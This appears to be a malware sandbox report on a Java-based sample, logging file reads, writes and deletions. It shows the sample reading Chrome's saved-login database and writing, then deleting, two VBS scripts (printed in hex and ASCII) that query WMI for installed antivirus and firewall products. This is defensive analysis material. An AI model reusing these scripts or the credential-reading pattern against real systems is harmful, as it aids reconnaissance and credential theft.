C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 1826 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 73789F67 ReadFile

\Device\NamedPipe unknown 8192 success or wait 262 73789F67 ReadFile

\Device\NamedPipe unknown 8192 pipe broken 3 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile
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\Device\NamedPipe unknown 8192 success or wait 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 30 success or wait 1188 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 3 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 4 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunmscapi.jar unknown 4 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunmscapi.jar unknown 128 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunmscapi.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\net.properties unknown 8192 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\net.properties unknown 8192 end of file 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 30 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 1886 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 3 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 3 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 4 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunec.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\sunjce_provider.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jsse.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\jce.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

\Device\NamedPipe unknown 8192 success or wait 1 73789F67 ReadFile

File Path Offset Length Completion Count
Source
Address Symbol
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\Device\NamedPipe unknown 8192 success or wait 1 73789F67 ReadFile

\Device\NamedPipe unknown 8192 success or wait 1 73789F67 ReadFile

\Device\NamedPipe unknown 8192 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\tzmappings unknown 4096 success or wait 1 73786DE0 unknown

C:\Program Files (x86)\Java\jre1.8.0_211\lib\tzmappings unknown 4096 success or wait 1 73786E71 unknown

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\tzdb.dat unknown 8192 success or wait 7 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\tzdb.dat unknown 8192 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\DfSJGumiMVk\mrSpbGLeBqF\VRacgaBger.ckLFQ unknown 4 success or wait 1 73789F67 ReadFile

C:\Users\user\DfSJGumiMVk\mrSpbGLeBqF\VRacgaBger.ckLFQ unknown 128 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 4 73789F67 ReadFile

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data unknown 4096 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data unknown 4096 success or wait 8 73789F67 ReadFile

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data unknown 4096 end of file 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\DfSJGumiMVk\mrSpbGLeBqF\VRacgaBger.ckLFQ unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\sqlite-3.8.11.2-42eaffe0-b8ea-4880-ab72-6ea9a41a3e14-sqli
tejdbc.dll

unknown 8192 success or wait 41 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\sqlite-3.8.11.2-42eaffe0-b8ea-4880-ab72-6ea9a41a3e14-sqli
tejdbc.dll

unknown 8192 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\sqlite-3.8.11.2-42eaffe0-b8ea-4880-ab72-6ea9a41a3e14-sqli
tejdbc.dll

unknown 8192 end of file 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\Config5175199137087621866.sqlite 0 100 success or wait 6 6AE34D38 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

\Device\NamedPipe unknown 8192 success or wait 10 73789F67 ReadFile

\Device\NamedPipe unknown 8192 success or wait 8 73789F67 ReadFile

\Device\NamedPipe unknown 8192 success or wait 4 73789F67 ReadFile

\Device\NamedPipe unknown 8192 success or wait 9 73789F67 ReadFile

\Device\NamedPipe unknown 8192 success or wait 5 73789F67 ReadFile

\Device\NamedPipe unknown 8192 success or wait 8 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

File Path Offset Length Completion Count
Source
Address Symbol

File ActivitiesFile Activities

Start time: 23:33:14

Start date: 19/04/2021

Path: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe

Wow64 process (32bit): true

Commandline: 'C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe' -jar C:\Users\user\AppData\Local\T
emp\_0.5473048333189129536838706564981496.class

Imagebase: 0xe60000

File size: 192376 bytes

MD5 hash: 28733BA8C383E865338638DF5196E6FE

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: java.exe PID: 4596 Parent PID: 1540Analysis Process: java.exe PID: 4596 Parent PID: 1540

General

File CreatedFile Created
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File Path Access Attributes Options Completion Count
Source
Address Symbol

C:\Users\user\AppData\Local\Temp\hsperfdata_user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 6DF38C5B CreateDirectoryA

C:\Users\user\AppData\Local\Temp\hsperfdata_user\4596 read attributes | 
delete | syn
chronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
delete on close

success or wait 1 6DF38D58 CreateFileA

C:\Users\user\AppData\Roaming\Microsoft read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 73787663 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 73787663 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 73787663 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-
3853321935-2125563209-4053062332-1002

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 73787663 unknown

C:\Users\user\AppData\Roaming\Microsoft read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 73787663 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 73787663 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 73787663 unknown

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-
3853321935-2125563209-4053062332-1002

read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident

object name collision 1 73787663 unknown

C:\Users\user\AppData\Local\Temp\Retrive7965693575833183651.vbs read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
open reparse 
point

success or wait 1 737880CF CreateFileW

C:\Users\user\AppData\Local\Temp\Retrive9101275134933643330.vbs read attributes | 
synchronize | 
generic read | 
generic write

device synchronous io 
non alert | non 
directory file | 
open reparse 
point

success or wait 1 737880CF CreateFileW

C:\Windows\SysWOW64\test.txt read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 73789D3D CreateFileW

C:\Users\user\fUTkALeaTxM read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 7378845C CreateDirectoryW

C:\Users\user\fUTkALeaTxM\ID.txt read attributes | 
synchronize | 
generic write

device synchronous io 
non alert | non 
directory file

success or wait 1 73789D3D CreateFileW

C:\Users\user\fUTkALeaTxM\DdWDtpinxpf read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

success or wait 1 7378845C CreateDirectoryW

File Path Completion Count
Source
Address Symbol

C:\Users\user\AppData\Local\Temp\Retrive7965693575833183651.vbs success or wait 1 73788173 DeleteFileW

C:\Users\user\AppData\Local\Temp\Retrive9101275134933643330.vbs success or wait 1 73788173 DeleteFileW

File DeletedFile Deleted
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File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

C:\ProgramData\Oracle\Java\.or
acle_jre_usage\cce3fe3b0d8d83e2.timestamp

unknown 57 43 3a 5c 50 72 6f 67 
72 61 6d 20 46 69 6c 
65 73 20 28 78 38 36 
29 5c 4a 61 76 61 5c 
6a 72 65 31 2e 38 2e 
30 5f 32 31 31 0d 0a 
31 36 31 38 39 30 30 
33 39 35 35 31 32 0d 
0a 

C:\Program Files 
(x86)\Java\jr
e1.8.0_211..161890039551
2..

success or wait 1 73789FBC WriteFile

C:\Users\user\AppData\Local\Te
mp\Retrive7965693575833183651.vbs

unknown 276 53 65 74 20 6f 57 4d 
49 20 3d 20 47 65 74 
4f 62 6a 65 63 74 28 
22 77 69 6e 6d 67 6d 
74 73 3a 7b 69 6d 70 
65 72 73 6f 6e 61 74 
69 6f 6e 4c 65 76 65 
6c 3d 69 6d 70 65 72 
73 6f 6e 61 74 65 7d 
21 5c 5c 2e 5c 72 6f 6f 
74 5c 53 65 63 75 72 
69 74 79 43 65 6e 74 
65 72 32 22 29 0d 0a 
53 65 74 20 63 6f 6c 
49 74 65 6d 73 20 3d 
20 6f 57 4d 49 2e 45 
78 65 63 51 75 65 72 
79 28 22 53 65 6c 65 
63 74 20 2a 20 66 72 
6f 6d 20 41 6e 74 69 
56 69 72 75 73 50 72 
6f 64 75 63 74 22 29 
0d 0a 46 6f 72 20 45 
61 63 68 20 6f 62 6a 
49 74 65 6d 20 69 6e 
20 63 6f 6c 49 74 65 
6d 73 0d 0a 20 20 57 
69 74 68 20 6f 62 6a 
49 74 65 6d 0d 0a 20 
20 20 20 57 53 63 72 
69 70 74 2e 45 63 68 
6f 20 20 22 7b 22 22 
41 56 22 22 3a 22 22 
22 20 26 20 2e 64 69 
73 70 6c 61 79 4e 61 
6d 65 20 26 20 22 22 
22 7d 

Set oWMI = 
GetObject("winmgmts:
{impersonationLevel=imper
sona
te}!\\.\root\SecurityCenter2
")..Set colItems = 
oWMI.ExecQuery("Select * 
from AntiVirusProd
uct")..For Each objItem in 
colItems..  With objItem..    
Wscript.Echo  "{""AV"":""" 
& .displayName & """}

success or wait 1 73789FBC WriteFile

C:\Users\user\AppData\Local\Te
mp\Retrive9101275134933643330.vbs

unknown 281 53 65 74 20 6f 57 4d 
49 20 3d 20 47 65 74 
4f 62 6a 65 63 74 28 
22 77 69 6e 6d 67 6d 
74 73 3a 7b 69 6d 70 
65 72 73 6f 6e 61 74 
69 6f 6e 4c 65 76 65 
6c 3d 69 6d 70 65 72 
73 6f 6e 61 74 65 7d 
21 5c 5c 2e 5c 72 6f 6f 
74 5c 53 65 63 75 72 
69 74 79 43 65 6e 74 
65 72 32 22 29 0d 0a 
53 65 74 20 63 6f 6c 
49 74 65 6d 73 20 3d 
20 6f 57 4d 49 2e 45 
78 65 63 51 75 65 72 
79 28 22 53 65 6c 65 
63 74 20 2a 20 66 72 
6f 6d 20 46 69 72 65 
77 61 6c 6c 50 72 6f 
64 75 63 74 22 29 0d 
0a 46 6f 72 20 45 61 
63 68 20 6f 62 6a 49 
74 65 6d 20 69 6e 20 
63 6f 6c 49 74 65 6d 
73 0d 0a 20 20 57 69 
74 68 20 6f 62 6a 49 
74 65 6d 0d 0a 20 20 
20 20 57 53 63 72 69 
70 74 2e 45 63 68 6f 
20 20 22 7b 22 22 46 
49 52 45 57 41 4c 4c 
22 22 3a 22 22 22 20 
26 20 2e 64 69 73 70 
6c 61 79 4e 61 6d 65 
20 26 

Set oWMI = 
GetObject("winmgmts:
{impersonationLevel=imper
sona
te}!\\.\root\SecurityCenter2
")..Set colItems = 
oWMI.ExecQuery("Select * 
from FirewallProduct")..For 
Each objItem in colItems..  
With objItem..    Wscr
ipt.Echo  "
{""FIREWALL"":""" & 
.displayName &

success or wait 1 73789FBC WriteFile

File WrittenFile Written
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C:\Windows\SysWOW64\test.txt unknown 543 6e 61 4d 70 5a 6d 67 
72 55 51 62 72 4c 45 
62 67 6a 49 58 77 64 
72 6f 49 6c 65 56 56 
4a 73 46 46 73 4d 51 
77 63 61 50 58 67 50 
61 78 46 64 4a 66 6d 
4e 71 4a 59 57 52 51 
42 47 51 46 4b 45 51 
47 65 74 62 50 47 69 
6e 49 70 45 63 50 76 
73 74 65 6f 63 65 46 
53 44 4e 59 4d 44 62 
55 4b 78 58 59 4e 42 
55 58 62 6e 67 54 4f 
69 53 54 77 4e 70 57 
48 66 55 4a 56 6c 76 
75 78 44 4c 46 72 41 
68 55 6a 6b 4c 6f 52 
4b 6b 6f 71 41 68 58 
72 6c 41 78 58 6a 45 
49 75 4b 6d 6c 78 73 
44 65 46 4e 78 44 58 
44 57 54 6d 44 4c 54 
61 4b 71 56 6d 44 70 
41 77 4e 78 46 73 75 
4c 73 6e 6f 48 47 46 
6b 73 6c 47 64 75 53 
4d 50 70 6d 59 59 78 
49 61 76 72 67 43 68 
57 70 6e 5a 4f 6b 75 
65 44 48 6c 59 4c 51 
78 4d 67 56 62 4c 44 
68 4b 75 42 49 49 63 
6d 41 73 4e 63 62 65 
42 70 65 4d 58 4d 46 
48 55 51 

naMpZmgrUQbrLEbgjIXwd
roIleVVJs
FFsMQwcaPXgPaxFdJfm
NqJYWRQBGQF
KEQGetbPGinIpEcPvsteo
ceFSDNYMD
bUKxXYNBUXbngTOiSTw
NpWHfUJVlvu
xDLFrAhUjkLoRKkoqAhXrl
AxXjEIuK
mlxsDeFNxDXDWTmDLT
aKqVmDpAwNxF
suLsnoHGFkslGduSMPpm
YYxIavrgCh
WpnZOkueDHlYLQxMgVb
LDhKuBIIcmA
sNcbeBpeMXMFHUQ

success or wait 1 73789FBC WriteFile

C:\Users\user\fUTkALeaTxM\ID.txt unknown 47 7b 22 55 55 49 44 22 
3a 22 39 38 33 63 66 
32 64 30 2d 63 62 32 
31 2d 34 38 35 37 2d 
61 30 39 35 2d 66 30 
34 61 64 66 35 65 66 
32 37 33 22 7d 

{"UUID":"983cf2d0-cb21-
4857-a095-f04adf5ef273"}

success or wait 1 73789FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

File Path Offset Length Completion Count
Source
Address Symbol

C:\Users\user\AppData\Local\Temp\_0.5473048333189129536838706564981496.class unknown 22 success or wait 1 E770AE ReadFile

C:\Users\user\AppData\Local\Temp\_0.5473048333189129536838706564981496.class unknown 1024 success or wait 1 E770AE ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\i386\jvm.cfg unknown 4096 success or wait 1 E770AE ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\i386\jvm.cfg unknown 4096 end of file 1 E770AE ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\meta-index unknown 4096 success or wait 1 6DDAC013 unknown

C:\Program Files (x86)\Java\jre1.8.0_211\lib\meta-index unknown 4096 end of file 1 6DDAC2CA unknown

C:\Program Files (x86)\Java\jre1.8.0_211\bin\client\classes.jsa unknown 396 success or wait 1 6DE078A0 unknown

C:\Program Files (x86)\Java\jre1.8.0_211\bin\client\classes.jsa unknown 635 success or wait 1 6DE07965 unknown

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 4 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 128 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 97 success or wait 3 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\meta-index unknown 8192 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\ext\meta-index unknown 8192 end of file 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

File ReadFile Read
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C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\_0.5473048333189129536838706564981496.class unknown 4 success or wait 2 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\_0.5473048333189129536838706564981496.class unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\_0.5473048333189129536838706564981496.class unknown 30 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\_0.5473048333189129536838706564981496.class unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\_0.5473048333189129536838706564981496.class unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\_0.5473048333189129536838706564981496.class unknown 30 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\_0.5473048333189129536838706564981496.class unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\_0.5473048333189129536838706564981496.class unknown 30 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\_0.5473048333189129536838706564981496.class unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Users\user\AppData\Local\Temp\_0.5473048333189129536838706564981496.class unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\meta-index unknown 8192 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\meta-index unknown 8192 end of file 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 1 73789F67 ReadFile

C:\Program Files (x86)\Java\jre1.8.0_211\lib\rt.jar unknown 160 success or wait 2 73789F67 ReadFile

